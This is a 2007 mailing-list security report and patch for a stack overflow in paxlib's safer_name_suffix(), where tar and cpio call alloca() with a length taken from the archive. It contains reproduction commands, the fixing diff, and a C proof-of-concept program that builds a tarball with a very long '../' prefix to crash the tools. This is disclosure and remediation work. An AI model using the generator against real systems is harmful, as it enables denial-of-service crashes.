Hi, paxlib's safer_name_suffix() function uses alloca() to report prefix string it is going to strip, and recent tar and cpio versions use this function both in list and extract modes. The problem is that length of this string (i.e. size passed to alloca) is under tarball owner control. As result, tar/cpio crashes if this string is sufficiently long.
Fortunately, memcpy() call which follows alloca() call makes this stack overflow a plain crash, so it does not look exploitable. Reproducer: $ ulimit -s 8192 $ ./tarnull null.tar $ bzip2 -9 null.tar $ ls -log null.tar.bz2 -rw-r--r-- 1 543 Aug 15 18:00 null.tar.bz2 $ tar tf null.tar.bz2 Segmentation fault My suggestion is to avoid using alloca() with user controllable size. In this particular case, memcpy() call could be optimized out as well. -- ldv
2007-08-15 Dmitry V. Levin <[EMAIL PROTECTED]>
Do not use alloca to avoid stack overflow with untrusted input.
* lib/paxnames.c (hash_string_insert_direct): New function.
(hash_string_insert): Use it.
(hash_string_insert_data): New function.
(safer_name_suffix): Use it instead of hash_string_insert()
and alloca().
--- lib/paxnames.c
+++ lib/paxnames.c
@@ -36,22 +36,50 @@
return strcmp (name1, name2) == 0;
}
-/* Return zero if TABLE contains a copy of STRING; otherwise, insert a
- copy of STRING to TABLE and return 1. */
-bool
-hash_string_insert (Hash_table **table, char const *string)
+/* Return zero if TABLE contains given STRING; otherwise, insert
+ given STRING to TABLE and return 1. */
+static bool
+hash_string_insert_direct (Hash_table **table, char const *string)
{
Hash_table *t = *table;
- char *s = xstrdup (string);
char *e;
if (! ((t
|| (*table = t = hash_initialize (0, 0, hash_string_hasher,
hash_string_compare, 0)))
- && (e = hash_insert (t, s))))
+ && (e = hash_insert (t, string))))
xalloc_die ();
- if (e == s)
+ return (e == string);
+}
+
+/* Return zero if TABLE contains a copy of STRING; otherwise, insert a
+ copy of STRING to TABLE and return 1. */
+bool
+hash_string_insert (Hash_table **table, char const *string)
+{
+ char *s = xstrdup (string);
+
+ if (hash_string_insert_direct (table, s))
+ return 1;
+ else
+ {
+ free (s);
+ return 0;
+ }
+}
+
+/* Return zero if TABLE contains a string which is a NULL-terminated
+ copy of DATA of given LENGTH; otherwise, insert a string which is a
+ NULL-terminated copy of DATA of given LENGTH to TABLE and return 1. */
+static bool
+hash_string_insert_data (Hash_table **table, char const *data, size_t length)
+{
+ char *s = xmalloc (length + 1);
+ memcpy (s, data, length);
+ s[length] = '\0';
+
+ if (hash_string_insert_direct (table, s))
return 1;
else
{
@@ -121,18 +149,16 @@ safer_name_suffix (char const *file_name, bool
link_target, bool absolute_names)
if (prefix_len)
{
- char *prefix = alloca (prefix_len + 1);
- memcpy (prefix, file_name, prefix_len);
- prefix[prefix_len] = '\0';
-
- if (hash_string_insert (&prefix_table[link_target], prefix))
+ if (hash_string_insert_data (&prefix_table[link_target],
+ file_name, prefix_len))
{
static char const *const diagnostic[] =
{
- N_("Removing leading `%s' from member names"),
- N_("Removing leading `%s' from hard link targets")
+ N_("Removing leading `%.*s' from member names"),
+ N_("Removing leading `%.*s' from hard link targets")
};
- WARN ((0, 0, _(diagnostic[link_target]), prefix));
+ WARN ((0, 0, _(diagnostic[link_target]),
+ (unsigned)prefix_len, file_name));
}
}
}
/*
* paxlib's safer_name_suffix() stack overflow reproducer.
*/
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <error.h>
#include <fcntl.h>
#include <sys/resource.h>
#include <libtar.h>
int main(int ac, const char *av[])
{
struct rlimit r;
unsigned count, i;
char *s;
TAR *t;
if (ac != 2)
error(1, 0, "exactly two arguments expected");
if (getrlimit(RLIMIT_STACK, &r))
error(1, errno, "getrlimit RLIMIT_STACK");
count = r.rlim_cur / 3 + 1;
if (!(s = malloc(count * 3 + 1)))
error(1, errno, "malloc: %u", count * 3 + 1);
for (i = 0; i < count; ++i)
memcpy(s + i * 3, "../", 3);
s[count * 3] = '\0';
if (tar_open(&t, av[1], NULL, O_WRONLY|O_CREAT, 0644, TAR_GNU))
error(1, errno, "tar_open: %s", av[1]);
if (tar_append_file(t, "/dev/null", s))
error(1, errno, "tar_append_file: %s", av[1]);
if (tar_close(t))
error(1, errno, "tar_close");
return 0;
}
pgpWoAReLM9S9.pgp
Description: PGP signature
